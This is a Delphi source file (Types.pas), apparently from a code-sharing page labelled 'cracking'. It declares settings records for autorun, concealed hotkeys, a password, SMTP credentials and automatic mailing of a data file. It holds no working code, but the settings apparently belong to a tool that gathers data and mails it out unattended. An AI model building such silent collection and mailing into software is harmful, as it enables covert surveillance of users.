破解

开发平台：

Delphi

Types.pas：源码内容

							unit Types;
interface
uses
  Windows,Messages,Classes;
type
  Tmhotkey=record
    cusHotkey:boolean;
    shift:boolean;
    ctrl:boolean;
    alt:boolean;
    key:word;
  end;
  TOption=record
    autorun:boolean;
    password:string;
    OptWinHotkey:tmhotkey;
    CloseAppHotKey:tmhotkey;
    autosendmail:boolean;
    mailserver:string;
    mailPort:word;
    servercheck:boolean;
    mailUserName:string;
    mailPassword:string;
    MailAddress:string;
    DataFile:string;
  end;
const  WM_getdata=WM_User+100;
var
 appOption:Toption;
implementation
end.

						